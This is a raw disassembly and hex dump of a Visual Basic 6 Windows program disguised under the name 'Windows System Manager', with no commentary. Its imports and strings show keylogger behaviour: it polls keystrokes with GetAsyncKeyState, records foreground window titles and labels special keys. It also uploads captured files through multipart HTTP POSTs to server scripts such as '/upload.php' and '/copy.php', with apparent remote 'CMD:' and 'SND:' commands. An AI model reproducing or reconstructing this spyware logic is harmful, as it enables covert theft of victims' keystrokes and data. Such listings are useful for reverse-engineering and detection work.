    00402c1bloc_402c1b:
    00402c1bpush 0x402bf8
    00402c20mov eax, 0x401530
    00402c25call eax
    00402c27jmp eax
    00402c10
    00402c29
    00402c29 00 00 00 ...
    00402c2c
    00402c2c struct VBDeclareNameLength
    00402c2c cbName int 23
    00402c30
    00402c30 string "HttpAddRequestHeadersA",0
    00402c47
    00402c47 00 .
    00402c48
    00402c48 struct DeclareInfo
    00402c48 lpszLibraryName uint32 0x402a5c
    00402c4c lpszFunctionName uint32 0x402c30
    00402c50 dwFlags uint32 0x00040000
    00402c54 lpCache uint32 0x40a364
    00402c58 dwReserved uint32 0x00000000
    00402c5c
    00402c5c 00 00 00 00 ....
    00402c60
    00402c60HttpAddRequestHeadersA:
    00402c60mov eax, [0x40a36c]
    00402c65or eax, eax
    00402c67je 0x402c6b
    00402c69jmp eax
    00402c6b
    00402c6bloc_402c6b:
    00402c6bpush 0x402c48
    00402c70mov eax, 0x401530
    00402c75call eax
    00402c77jmp eax
    00402c60
    00402c79
    00402c79 00 00 00 ...
    00402c7c
    00402c7c struct VBDeclareNameLength
    00402c7c cbName int 8
    00402c80
    00402c80 string "wininet",0
    00402c88
    00402c88 struct VBDeclareNameLength
    00402c88 cbName int 17
    00402c8c
    00402c8c string "InternetOpenUrlA",0
    00402c9d
    00402c9d 00 00 00 ...
    00402ca0
    00402ca0 string "PostFile",0
    00402ca9
    00402ca9 00 00 00 14 00 64 00 .....d.
    00402cb0 00 00 02 00 00 00 00 00 38 00 01 00 3c 00 01 00 ........8...<...
    00402cc0 00 00 00 00 ....
    00402cc4
    00402cc4 struct DeclareInfo
    00402cc4 lpszLibraryName uint32 0x402c80
    00402cc8 lpszFunctionName uint32 0x402c8c
    00402ccc dwFlags uint32 0x00040000
    00402cd0 lpCache uint32 0x40a370
    00402cd4 dwReserved uint32 0x00000000
    00402cd8
    00402cd8 00 00 00 00 ....
    00402cdc
    00402cdcInternetOpenUrlA:
    00402cdcmov eax, [0x40a378]
    00402ce1or eax, eax
    00402ce3je 0x402ce7
    00402ce5jmp eax
    00402ce7
    00402ce7loc_402ce7:
    00402ce7push 0x402cc4
    00402cecmov eax, 0x401530
    00402cf1call eax
    00402cf3jmp eax
    00402cdc
    00402cf5
    00402cf5 00 00 00 ...
    00402cf8
    00402cf8 struct VBDeclareNameLength
    00402cf8 cbName int 7
    00402cfc
    00402cfc string "user32",0
    00402d03
    00402d03 00 .
    00402d04
    00402d04 struct VBDeclareNameLength
    00402d04 cbName int 17
    00402d08
    00402d08 string "GetAsyncKeyState",0
    00402d19
    00402d19 00 00 00 ...
    00402d1c
    00402d1c struct DeclareInfo
    00402d1c lpszLibraryName uint32 0x402cfc
    00402d20 lpszFunctionName uint32 0x402d08
    00402d24 dwFlags uint32 0x00040000
    00402d28 lpCache uint32 0x40a37c
    00402d2c dwReserved uint32 0x00000000
    00402d30
    00402d30 00 00 00 00 ....
    00402d34
    00402d34GetAsyncKeyState:
    00402d34mov eax, [0x40a384]
    00402d39or eax, eax
    00402d3bje 0x402d3f
    00402d3djmp eax
    00402d3f
    00402d3floc_402d3f:
    00402d3fpush 0x402d1c
    00402d44mov eax, 0x401530
    00402d49call eax
    00402d4bjmp eax
    00402d34
    00402d4d
    00402d4d 00 00 00 ...
    00402d50
    00402d50 struct VBDeclareNameLength
    00402d50 cbName int 20
    00402d54
    00402d54 string "GetForegroundWindow",0
    00402d68
    00402d68 struct DeclareInfo
    00402d68 lpszLibraryName uint32 0x402cfc
    00402d6c lpszFunctionName uint32 0x402d54
    00402d70 dwFlags uint32 0x00040000
    00402d74 lpCache uint32 0x40a388
    00402d78 dwReserved uint32 0x00000000
    00402d7c
    00402d7c 00 00 00 00 ....
    00402d80
    00402d80GetForegroundWindow:
    00402d80mov eax, [0x40a390]
    00402d85or eax, eax
    00402d87je 0x402d8b
    00402d89jmp eax
    00402d8b
    00402d8bloc_402d8b:
    00402d8bpush 0x402d68
    00402d90mov eax, 0x401530
    00402d95call eax
    00402d97jmp eax
    00402d80
    00402d99
    00402d99 00 00 00 ...
    00402d9c
    00402d9c struct VBDeclareNameLength
    00402d9c cbName int 15
    00402da0
    00402da0 string "GetWindowTextA",0
    00402daf
    00402daf 00 .
    00402db0
    00402db0 struct DeclareInfo
    00402db0 lpszLibraryName uint32 0x402cfc
    00402db4 lpszFunctionName uint32 0x402da0
    00402db8 dwFlags uint32 0x00040000
    00402dbc lpCache uint32 0x40a394
    00402dc0 dwReserved uint32 0x00000000
    00402dc4
    00402dc4 00 00 00 00 ....
    00402dc8
    00402dc8GetWindowTextA:
    00402dc8mov eax, [0x40a39c]
    00402dcdor eax, eax
    00402dcfje 0x402dd3
    00402dd1jmp eax
    00402dd3
    00402dd3loc_402dd3:
    00402dd3push 0x402db0
    00402dd8mov eax, 0x401530
    00402dddcall eax
    00402ddfjmp eax
    00402dc8
    00402de1
    00402de1 00 00 00 ...
    00402de4
    00402de4 struct VBDeclareNameLength
    00402de4 cbName int 13
    00402de8
    00402de8 string "kernel32.dll",0
    00402df5
    00402df5 00 00 00 ...
    00402df8
    00402df8 struct VBDeclareNameLength
    00402df8 cbName int 6
    00402dfc
    00402dfc string "Sleep",0
    00402e02
    00402e02 00 00 ..
    00402e04
    00402e04 struct DeclareInfo
    00402e04 lpszLibraryName uint32 0x402de8
    00402e08 lpszFunctionName uint32 0x402dfc
    00402e0c dwFlags uint32 0x00040000
    00402e10 lpCache uint32 0x40a3a0
    00402e14 dwReserved uint32 0x00000000
    00402e18
    00402e18 00 00 00 00 ....
    00402e1c
    00402e1cSleep:
    00402e1cmov eax, [0x40a3a8]
    00402e21or eax, eax
    00402e23je 0x402e27
    00402e25jmp eax
    00402e27
    00402e27loc_402e27:
    00402e27push 0x402e04
    00402e2cmov eax, 0x401530
    00402e31call eax
    00402e33jmp eax
    00402e1c
    00402e35
    00402e35 00 00 00 ...
    00402e38
    00402e38 struct VBDeclareNameLength
    00402e38 cbName int 11
    00402e3c
    00402e3c string "user32.dll",0
    00402e47
    00402e47 00 .
    00402e48
    00402e48 struct VBDeclareNameLength
    00402e48 cbName int 12
    00402e4c
    00402e4c string "keybd_event",0
    00402e58
    00402e58 struct DeclareInfo
    00402e58 lpszLibraryName uint32 0x402e3c
    00402e5c lpszFunctionName uint32 0x402e4c
    00402e60 dwFlags uint32 0x00040000
    00402e64 lpCache uint32 0x40a3ac
    00402e68 dwReserved uint32 0x00000000
    00402e6c
    00402e6c 00 00 00 00 ....
    00402e70
    00402e70keybd_event:
    00402e70mov eax, [0x40a3b4]
    00402e75or eax, eax
    00402e77je 0x402e7b
    00402e79jmp eax
    00402e7b
    00402e7bloc_402e7b:
    00402e7bpush 0x402e58
    00402e80mov eax, 0x401530
    00402e85call eax
    00402e87jmp eax
    00402e70
    00402e89
    00402e89 00 00 00 ...
    00402e8c
    00402e8c struct GUID
    00402e8c guid guid fcfb3d23-a0fa-1068-a738-08002b3371b5
    00402e9c
    00402e9c 22 3d fb fc "=..
    00402ea0 fa a0 68 10 a7 38 08 00 2b 33 71 b5 02 00 00 00 ..h..8..+3q.....
    00402eb0 8c 2e 40 00 9c 2e 40 00 00 00 00 00 79 4f ad 33 ..@...@.....yO.3
    00402ec0 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 18 00 00 00 .f.......`......
    00402ed0 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 c.o.m.p.u.t.e.r.
    00402ee0 6e 00 61 00 6d 00 65 00 00 00 00 00 08 00 00 00 n.a.m.e.........
    00402ef0 74 00 65 00 6d 00 70 00 00 00 00 00 10 00 00 00 t.e.m.p.........
    00402f00 48 00 54 00 54 00 50 00 2f 00 31 00 2e 00 30 00 H.T.T.P./.1...0.
    00402f10 00 00 00 00 08 00 00 00 50 00 4f 00 53 00 54 00 ........P.O.S.T.
    00402f20 00 00 00 00 58 00 00 00 43 00 6f 00 6e 00 74 00 ....X...C.o.n.t.
    00402f30 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 e.n.t.-.T.y.p.e.
    00402f40 3a 00 20 00 6d 00 75 00 6c 00 74 00 69 00 70 00 :. .m.u.l.t.i.p.
    00402f50 61 00 72 00 74 00 2f 00 66 00 6f 00 72 00 6d 00 a.r.t./.f.o.r.m.
    00402f60 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 62 00 -.d.a.t.a.;. .b.
    00402f70 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 3d 00 o.u.n.d.a.r.y.=.
    00402f80 00 00 00 00 04 00 00 00 0d 00 0a 00 00 00 00 00 ................
    00402f90 04 00 00 00 2d 00 2d 00 00 00 00 00 64 00 00 00 ....-.-.....d...
    00402fa0 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 C.o.n.t.e.n.t.-.
    00402fb0 44 00 69 00 73 00 70 00 6f 00 73 00 69 00 74 00 D.i.s.p.o.s.i.t.
    00402fc0 69 00 6f 00 6e 00 3a 00 20 00 66 00 6f 00 72 00 i.o.n.:. .f.o.r.
    00402fd0 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 m.-.d.a.t.a.;. .
    00402fe0 6e 00 61 00 6d 00 65 00 3d 00 22 00 64 00 65 00 n.a.m.e.=.".d.e.
    00402ff0 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 s.c.r.i.p.t.i.o.
    00403000 6e 00 22 00 00 00 00 00 08 00 00 00 2e 00 6a 00 n."...........j.
    00403010 70 00 67 00 00 00 00 00 49 4f ad 33 99 66 cf 11 p.g.....IO.3.f..
    00403020 b7 0c 00 aa 00 60 d3 93 81 09 f8 7b 32 bf 1a 10 .....`.....{2...
    00403030 8b bb 00 aa 00 30 0c ab e1 4e ad 33 99 66 cf 11 .....0...N.3.f..
    00403040 b7 0c 00 aa 00 60 d3 93 00 00 00 00 74 00 00 00 .....`......t...
    00403050 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 C.o.n.t.e.n.t.-.
    00403060 44 00 69 00 73 00 70 00 6f 00 73 00 69 00 74 00 D.i.s.p.o.s.i.t.
    00403070 69 00 6f 00 6e 00 3a 00 20 00 66 00 6f 00 72 00 i.o.n.:. .f.o.r.
    00403080 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 m.-.d.a.t.a.;. .
    00403090 6e 00 61 00 6d 00 65 00 3d 00 22 00 74 00 68 00 n.a.m.e.=.".t.h.
    004030a0 65 00 66 00 69 00 6c 00 65 00 22 00 3b 00 20 00 e.f.i.l.e.".;. .
    004030b0 66 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 f.i.l.e.n.a.m.e.
    004030c0 3d 00 22 00 00 00 00 00 02 00 00 00 22 00 00 00 =."........."...
    004030d0 4c 00 00 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 L...C.o.n.t.e.n.
    004030e0 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 t.-.T.y.p.e.:. .
    004030f0 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 a.p.p.l.i.c.a.t.
    00403100 69 00 6f 00 6e 00 2f 00 6f 00 63 00 74 00 65 00 i.o.n./.o.c.t.e.
    00403110 74 00 2d 00 73 00 74 00 72 00 65 00 61 00 6d 00 t.-.s.t.r.e.a.m.
    00403120 00 00 00 00 d9 4e ad 33 99 66 cf 11 b7 0c 00 aa .....N.3.f......
    00403130 00 60 d3 93 0e 00 00 00 68 00 74 00 74 00 70 00 .`......h.t.t.p.
    00403140 3a 00 2f 00 2f 00 00 00 02 00 00 00 2f 00 00 00 :././......./...
    00403150 08 00 00 00 2e 00 63 00 66 00 67 00 00 00 00 00 ......c.f.g.....
    00403160 08 00 00 00 43 00 4d 00 44 00 3a 00 00 00 00 00 ....C.M.D.:.....
    00403170 00 00 00 00 00 00 00 00 06 00 00 00 47 00 45 00 ............G.E.
    00403180 54 00 00 00 22 00 00 00 2f 00 63 00 6d 00 2e 00 T...".../.c.m...
    00403190 70 00 68 00 70 00 3f 00 66 00 69 00 6c 00 65 00 p.h.p.?.f.i.l.e.
    004031a0 3d 00 4e 00 55 00 4c 00 4c 00 00 00 0c 00 00 00 =.N.U.L.L.......
    004031b0 26 00 6e 00 61 00 6d 00 65 00 3d 00 00 00 00 00 &.n.a.m.e.=.....
    004031c0 08 00 00 00 53 00 4e 00 44 00 3a 00 00 00 00 00 ....S.N.D.:.....
    004031d0 16 00 00 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 ..../.u.p.l.o.a.
    004031e0 64 00 2e 00 70 00 68 00 70 00 00 00 02 00 00 00 d...p.h.p.......
    004031f0 5f 00 00 00 02 00 00 00 5c 00 00 00 12 00 00 00 _.......\.......
    00403200 5b 00 20 00 49 00 4e 00 56 00 49 00 4f 00 20 00 [. .I.N.V.I.O. .
    00403210 5d 00 00 00 02 00 00 00 30 00 00 00 02 00 00 00 ].......0.......
    00403220 31 00 00 00 02 00 00 00 32 00 00 00 02 00 00 00 1.......2.......
    00403230 33 00 00 00 02 00 00 00 34 00 00 00 02 00 00 00 3.......4.......
    00403240 35 00 00 00 02 00 00 00 36 00 00 00 02 00 00 00 5.......6.......
    00403250 37 00 00 00 02 00 00 00 38 00 00 00 02 00 00 00 7.......8.......
    00403260 39 00 00 00 02 00 00 00 2a 00 00 00 02 00 00 00 9.......*.......
    00403270 2b 00 00 00 02 00 00 00 2d 00 00 00 02 00 00 00 +.......-.......
    00403280 2e 00 00 00 02 00 00 00 3d 00 00 00 02 00 00 00 ........=.......
    00403290 21 00 00 00 02 00 00 00 a3 00 00 00 02 00 00 00 !...............
    004032a0 24 00 00 00 02 00 00 00 25 00 00 00 02 00 00 00 $.......%.......
    004032b0 26 00 00 00 02 00 00 00 28 00 00 00 02 00 00 00 &.......(.......
    004032c0 29 00 00 00 08 00 00 00 20 00 46 00 31 00 20 00 )....... .F.1. .
    004032d0 00 00 00 00 08 00 00 00 20 00 46 00 32 00 20 00 ........ .F.2. .
    004032e0 00 00 00 00 08 00 00 00 20 00 46 00 33 00 20 00 ........ .F.3. .
    004032f0 00 00 00 00 08 00 00 00 20 00 46 00 34 00 20 00 ........ .F.4. .
    00403300 00 00 00 00 08 00 00 00 20 00 46 00 35 00 20 00 ........ .F.5. .
    00403310 00 00 00 00 08 00 00 00 20 00 46 00 36 00 20 00 ........ .F.6. .
    00403320 00 00 00 00 08 00 00 00 20 00 46 00 37 00 20 00 ........ .F.7. .
    00403330 00 00 00 00 08 00 00 00 20 00 46 00 38 00 20 00 ........ .F.8. .
    00403340 00 00 00 00 08 00 00 00 20 00 46 00 39 00 20 00 ........ .F.9. .
    00403350 00 00 00 00 0a 00 00 00 20 00 46 00 31 00 30 00 ........ .F.1.0.
    00403360 20 00 00 00 0a 00 00 00 20 00 46 00 31 00 31 00 ....... .F.1.1.
    00403370 20 00 00 00 0a 00 00 00 20 00 46 00 31 00 32 00 ....... .F.1.2.
    00403380 20 00 00 00 02 00 00 00 7c 00 00 00 02 00 00 00 .......|.......
    00403390 3b 00 00 00 02 00 00 00 2c 00 00 00 02 00 00 00 ;.......,.......
    004033a0 3a 00 00 00 02 00 00 00 a7 00 00 00 02 00 00 00 :...............
    004033b0 f9 00 00 00 02 00 00 00 e9 00 00 00 02 00 00 00 ................
    004033c0 e8 00 00 00 02 00 00 00 b0 00 00 00 02 00 00 00 ................
    004033d0 e0 00 00 00 02 00 00 00 3f 00 00 00 02 00 00 00 ........?.......
    004033e0 27 00 00 00 02 00 00 00 5e 00 00 00 02 00 00 00 '.......^.......
    004033f0 ec 00 00 00 02 00 00 00 e7 00 00 00 02 00 00 00 ................
    00403400 f2 00 00 00 14 00 00 00 20 00 5b 00 20 00 43 00 ........ .[. .C.
    00403410 41 00 4e 00 43 00 20 00 5d 00 20 00 00 00 00 00 A.N.C. .]. .....
    00403420 12 00 00 00 20 00 5b 00 20 00 54 00 41 00 42 00 .... .[. .T.A.B.
    00403430 20 00 5d 00 20 00 00 00 12 00 00 00 20 00 5b 00 .]. ....... .[.
    00403440 20 00 43 00 54 00 52 00 4c 00 20 00 5d 00 00 00 .C.T.R.L. .]...
    00403450 12 00 00 00 20 00 5b 00 20 00 41 00 4c 00 54 00 .... .[. .A.L.T.
    00403460 20 00 5d 00 20 00 00 00 16 00 00 00 20 00 5b 00 .]. ....... .[.
    00403470 20 00 50 00 41 00 55 00 53 00 45 00 20 00 5d 00 .P.A.U.S.E. .].
    00403480 20 00 00 00 14 00 00 00 20 00 5b 00 20 00 43 00 ....... .[. .C.
    00403490 41 00 50 00 53 00 20 00 5d 00 20 00 00 00 00 00 A.P.S. .]. .....
    004034a0 12 00 00 00 20 00 5b 00 20 00 45 00 53 00 43 00 .... .[. .E.S.C.
    004034b0 20 00 5d 00 20 00 00 00 02 00 00 00 20 00 00 00 .]. ....... ...
    004034c0 18 00 00 00 20 00 5b 00 20 00 50 00 61 00 67 00 .... .[. .P.a.g.
    004034d0 65 00 55 00 70 00 20 00 5d 00 20 00 00 00 00 00 e.U.p. .]. .....
    004034e0 1c 00 00 00 20 00 5b 00 20 00 50 00 61 00 67 00 .... .[. .P.a.g.
    004034f0 65 00 44 00 6f 00 77 00 6e 00 20 00 5d 00 20 00 e.D.o.w.n. .]. .
    00403500 00 00 00 00 00 00 00 00 12 00 00 00 20 00 5b 00 ............ .[.
    00403510 20 00 45 00 4e 00 44 00 20 00 5d 00 20 00 00 00 .E.N.D. .]. ...
    00403520 14 00 00 00 20 00 5b 00 20 00 48 00 4f 00 4d 00 .... .[. .H.O.M.
    00403530 45 00 20 00 5d 00 20 00 00 00 00 00 14 00 00 00 E. .]. .........
    00403540 20 00 5b 00 20 00 4c 00 45 00 46 00 54 00 20 00 .[. .L.E.F.T. .
    00403550 5d 00 20 00 00 00 00 00 10 00 00 00 20 00 5b 00 ]. ......... .[.
    00403560 20 00 55 00 50 00 20 00 5d 00 20 00 00 00 00 00 .U.P. .]. .....
    00403570 16 00 00 00 20 00 5b 00 20 00 52 00 49 00 47 00 .... .[. .R.I.G.
    00403580 48 00 54 00 20 00 5d 00 20 00 00 00 14 00 00 00 H.T. .]. .......
    00403590 20 00 5b 00 20 00 44 00 4f 00 57 00 4e 00 20 00 .[. .D.O.W.N. .
    004035a0 5d 00 20 00 00 00 00 00 18 00 00 00 20 00 5b 00 ]. ......... .[.
    004035b0 20 00 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 .S.E.L.E.C.T. .
    004035c0 5d 00 20 00 00 00 00 00 16 00 00 00 20 00 5b 00 ]. ......... .[.
    004035d0 20 00 50 00 52 00 49 00 4e 00 54 00 20 00 5d 00 .P.R.I.N.T. .].
    004035e0 20 00 00 00 12 00 00 00 20 00 5b 00 20 00 49 00 ....... .[. .I.
    004035f0 4e 00 53 00 20 00 5d 00 20 00 00 00 12 00 00 00 N.S. .]. .......
    00403600 20 00 5b 00 20 00 44 00 45 00 4c 00 20 00 5d 00 .[. .D.E.L. .].
    00403610 20 00 00 00 14 00 00 00 20 00 5b 00 20 00 48 00 ....... .[. .H.
    00403620 45 00 4c 00 50 00 20 00 5d 00 20 00 00 00 00 00 E.L.P. .]. .....
    00403630 1a 00 00 00 20 00 5b 00 20 00 57 00 49 00 4e 00 .... .[. .W.I.N.
    00403640 44 00 4f 00 57 00 53 00 20 00 5d 00 20 00 00 00 D.O.W.S. .]. ...
    00403650 1e 00 00 00 2f 00 63 00 6f 00 70 00 79 00 2e 00 ..../.c.o.p.y...
    00403660 70 00 68 00 70 00 3f 00 66 00 69 00 6c 00 65 00 p.h.p.?.f.i.l.e.
    00403670 3d 00 00 00 4c 00 00 00 7b 00 35 00 35 00 37 00 =...L...{.5.5.7.
    00403680 43 00 46 00 34 00 30 00 31 00 2d 00 31 00 41 00 C.F.4.0.1.-.1.A.
    00403690 30 00 34 00 2d 00 31 00 31 00 44 00 33 00 2d 00 0.4.-.1.1.D.3.-.
    004036a0 39 00 41 00 37 00 33 00 2d 00 30 00 30 00 30 00 9.A.7.3.-.0.0.0.
    004036b0 30 00 46 00 38 00 31 00 45 00 46 00 33 00 32 00 0.F.8.1.E.F.3.2.
    004036c0 45 00 7d 00 00 00 00 00 4c 00 00 00 7b 00 31 00 E.}.....L...{.1.
    004036d0 44 00 35 00 42 00 45 00 34 00 42 00 35 00 2d 00 D.5.B.E.4.B.5.-.
    004036e0 46 00 41 00 34 00 41 00 2d 00 34 00 35 00 32 00 F.A.4.A.-.4.5.2.
    004036f0 44 00 2d 00 39 00 43 00 44 00 44 00 2d 00 35 00 D.-.9.C.D.D.-.5.
    00403700 44 00 42 00 33 00 35 00 31 00 30 00 35 00 45 00 D.B.3.5.1.0.5.E.
    00403710 37 00 45 00 42 00 7d 00 00 00 00 00 56 42 41 36 7.E.B.}.....VBA6
    00403720 2e 44 4c 4c 00 00 00 00 5f 5f 76 62 61 49 34 56 .DLL....__vbaI4V
    00403730 61 72 00 00 5f 5f 76 62 61 4c 61 74 65 49 64 43 ar..__vbaLateIdC
    00403740 61 6c 6c 4c 64 00 00 00 5f 5f 76 62 61 4f 62 6a allLd...__vbaObj
    00403750 53 65 74 41 64 64 72 65 66 00 00 00 5f 5f 76 62 SetAddref...__vb
    00403760 61 53 74 72 56 61 72 56 61 6c 00 00 5f 5f 76 62 aStrVarVal..__vb
    00403770 61 55 49 31 49 32 00 00 aUI1I2..
    00403778
    00403778 struct TypeLibReference
    00403778 lpTypeLibGuid uint32 0x402e8c
    0040377c lpCache uint32 0x40a3b8
    00403780
    00403780 5f 5f 76 62 61 43 61 73 74 4f 62 6a 00 00 00 00 __vbaCastObj....
    00403790 5f 5f 76 62 61 45 72 72 6f 72 4f 76 65 72 66 6c __vbaErrorOverfl
    004037a0 6f 77 00 00 5f 5f 76 62 61 46 72 65 65 4f 62 6a ow..__vbaFreeObj
    004037b0 4c 69 73 74 00 00 00 00 5f 5f 76 62 61 52 38 53 List....__vbaR8S
    004037c0 74 72 00 00 5f 5f 76 62 61 53 74 72 52 38 00 00 tr..__vbaStrR8..
    004037d0 5f 5f 76 62 61 53 74 72 43 6d 70 00 5f 5f 76 62 __vbaStrCmp.__vb
    004037e0 61 53 74 72 49 32 00 00 5f 5f 76 62 61 4f 62 6a aStrI2..__vbaObj
    004037f0 53 65 74 00 5f 5f 76 62 61 45 78 69 74 50 72 6f Set.__vbaExitPro
    00403800 63 00 00 00 5f 5f 76 62 61 46 69 6c 65 43 6c 6f c...__vbaFileClo
    00403810 73 65 41 6c 6c 00 00 00 5f 5f 76 62 61 46 69 6c seAll...__vbaFil
    00403820 65 43 6c 6f 73 65 00 00 5f 5f 76 62 61 47 65 74 eClose..__vbaGet
    00403830 33 00 00 00 5f 5f 76 62 61 46 69 6c 65 4f 70 65 3...__vbaFileOpe
    00403840 6e 00 00 00 5f 5f 76 62 61 56 61 72 43 6f 70 79 n...__vbaVarCopy
    00403850 00 00 00 00 5f 5f 76 62 61 56 61 72 43 61 74 00 ....__vbaVarCat.
    00403860 5f 5f 76 62 61 4c 73 65 74 46 69 78 73 74 72 00 __vbaLsetFixstr.
    00403870 5f 5f 76 62 61 4c 65 6e 42 73 74 72 00 00 00 00 __vbaLenBstr....
    00403880 5f 5f 76 62 61 53 74 72 43 61 74 00 5f 5f 76 62 __vbaStrCat.__vb
    00403890 61 46 72 65 65 53 74 72 4c 69 73 74 00 00 00 00 aFreeStrList....
    004038a0 5f 5f 76 62 61 53 74 72 54 6f 55 6e 69 63 6f 64 __vbaStrToUnicod
    004038b0 65 00 00 00 5f 5f 76 62 61 53 65 74 53 79 73 74 e...__vbaSetSyst
    004038c0 65 6d 45 72 72 6f 72 00 5f 5f 76 62 61 53 74 72 emError.__vbaStr
    004038d0 54 6f 41 6e 73 69 00 00 5f 5f 76 62 61 46 72 65 ToAnsi..__vbaFre
    004038e0 65 56 61 72 00 00 00 00 5f 5f 76 62 61 53 74 72 eVar....__vbaStr
    004038f0 56 61 72 4d 6f 76 65 00 5f 5f 76 62 61 4f 6e 45 VarMove.__vbaOnE
    00403900 72 72 6f 72 00 00 00 00 5f 5f 76 62 61 46 69 78 rror....__vbaFix
    00403910 73 74 72 43 6f 6e 73 74 72 75 63 74 00 00 00 00 strConstruct....
    00403920 5f 5f 76 62 61 46 72 65 65 56 61 72 4c 69 73 74 __vbaFreeVarList
    00403930 00 00 00 00 5f 5f 76 62 61 46 72 65 65 53 74 72 ....__vbaFreeStr
    00403940 00 00 00 00 5f 5f 76 62 61 56 61 72 44 75 70 00 ....__vbaVarDup.
    00403950 5f 5f 76 62 61 53 74 72 4d 6f 76 65 00 00 00 00 __vbaStrMove....
    00403960 5f 5f 76 62 61 53 74 72 43 6f 70 79 00 00 00 00 __vbaStrCopy....
    00403970 5f 5f 76 62 61 46 72 65 65 4f 62 6a 00 00 00 00 __vbaFreeObj....
    00403980 5f 5f 76 62 61 48 72 65 73 75 6c 74 43 68 65 63 __vbaHresultChec
    00403990 6b 4f 62 6a 00 00 00 00 5f 5f 76 62 61 4e 65 77 kObj....__vbaNew
    004039a0 32 00 00 00 2...
    004039a4
    004039a4 struct VBObjectListEntry
    004039a4 lpEntry uint32 0x403a18
    004039a8
    004039a8 54 28 40 00 54 28 40 00 T(@.T(@.
    004039b0 60 28 40 00 6c 28 40 00 `(@.l(@.
    004039b8 struct VBParamNameEntry[4] ; 0x4039b8-0x4039c8, 3 set, 1 null
    004039b8 #0 lpEntry = 0x00403b40 ; "Server"
    004039bc #1 lpEntry = 0x00403b48 ; "Script"
    004039c0 #2 lpEntry = 0x00403b50 ; "filename"
    004039c8
    004039c8 00 00 00 00 00 00 00 00 ........
    004039d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    004039e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    004039f0
    004039f0 struct FuncTypDesc
    004039f0 bArgSize uint8 0x10
    004039f1 bFlags uint8 0x01 ; HasReturn
    004039f2 wVTableOffset uint16 0x06f9
    004039f4 iObjectIndex uint16 0xffff
    004039f6 wReserved uint16 0x0000
    004039f8 lpOptionalDefaults uint32 0x00000000
    004039fc wNameIndex uint16 0x0001
    004039fe bReturnType uint8 0x03
    004039ff bFuncFlags uint8 0x60
    00403a00 lpParamNames uint32 0x4039b8
    00403a04
    00403a04 00 00 00 00 00 00 00 00 00 00 00 00 ............
    00403a10 1e 30 30 30 30 00 00 00 .0000...
    00403a18
    00403a18 struct PrivateObjectDescriptor
    00403a18 lpHeapLink uint32 0x00000000
    00403a1c lpObjectInfo uint32 0x4020a8
    00403a20 dwReserved uint32 0xffffffff
    00403a24 dwIdeData uint32 0x00000000
    00403a28 wFuncCount int 10
    00403a2a wFuncCount2 int 0
    00403a2c wVarCount int 4
    00403a2e wPad uint16 0x0000
    00403a30 lpFuncTypDescs uint32 0x403a58
    00403a34 lpExtendedFuncData uint32 0x00000000
    00403a38 lpMethodNameTable uint32 0x4039c8
    00403a3c lpParamNames uint32 0x4039a4
    00403a40 lpVarStubs uint32 0x4039a8
    00403a44 dwReserved2 [3]uint32 {0, 0, 0}
    00403a50 dwDescSize uint32 0x00000064
    00403a54 dwFlags uint32 0x00000004
    00403a58 struct VBFuncTypDescEntry[30] ; 0x403a58-0x403ad0, 1 set, 29 null
    00403aa8 #20 lpEntry = 0x004039f0
    00403ad0
    00403ad0 struct ProjectInfo2
    00403ad0 lpHeapLink uint32 0x00000000
    00403ad4 lpObjectTable uint32 0x402524
    00403ad8 dwReserved uint32 0xffffffff
    00403adc dwUnused uint32 0x00000000
    00403ae0 lpObjectList uint32 0x4039a4
    00403ae4 dwUnused2 uint32 0x00000000
    00403ae8 szProjectDescription uint32 0x403af8
    00403aec szProjectHelpFile uint32 0x00000000
    00403af0 dwReserved2 uint32 0xffffffff
    00403af4 dwHelpContextId int 0
    00403af8
    00403af8 string "Windows System Manager",0
    00403b0f
    00403b0f 00 .
    00403b10 cc 27 40 00 64 27 40 00 bc a3 40 00 cc 27 40 00 .'@.d'@...@..'@.
    00403b20 f4 27 40 00 c0 a3 40 00 cc 27 40 00 0c 28 40 00 .'@...@..'@..(@.
    00403b30 c4 a3 40 00 cc 27 40 00 2c 28 40 00 c8 a3 40 00 ..@..'@.,(@...@.
    00403b40
    00403b40 string "Server",0
    00403b47
    00403b47 00 .
    00403b48
    00403b48 string "Script",0
    00403b4f
    00403b4f 00 .
    00403b50
    00403b50 string "filename",0
    00403b59
    00403b59 00 00 00 cc cc cc cc .......
    00403b60 e9 e9 e9 e9 cc cc cc cc cc cc cc cc cc cc cc cc ................
    00403b70
    00403b70frmMain.Form_Load:
    00403b70push ebp
    00403b71mov ebp, esp
    00403b73sub esp, 12
    00403b76push 0x4014a6
    00403b7bmov eax, [0x0]
    00403b81push eax
    00403b82mov [0x0], esp
    00403b89sub esp, 80
    00403b8cpush ebx
    00403b8dpush esi
    00403b8epush edi
    00403b8fmov [ebp-12], esp
    00403b92mov [ebp-8], 0x401170
    00403b99mov eax, [ebp+8]
    00403b9cmov ecx, eax
    00403b9eand ecx, 1
    00403ba1mov [ebp-4], ecx
    00403ba4and al, 254
    00403ba6push eax
    00403ba7mov [ebp+8], eax
    00403baamov edx, [eax]
    00403baccall [edx+4]
    00403bafmov eax, [0x40a3b8]
    00403bb4xor edi, edi
    00403bb6cmp eax, edi
    00403bb8mov [ebp-24], edi
    00403bbbmov [ebp-28], edi
    00403bbemov [ebp-44], edi
    00403bc1mov [ebp-60], edi
    00403bc4mov [ebp-76], edi
    00403bc7jne 0x403bd9
    00403bc9push 0x40a3b8
    00403bcepush 0x402eac
    00403bd3call imp:msvbvm60!__vbaNew2
    00403bd9
    00403bd9loc_403bd9:
    00403bd9mov esi, [0x40a3b8]
    00403bdflea ecx, [ebp-28]
    00403be2push ecx
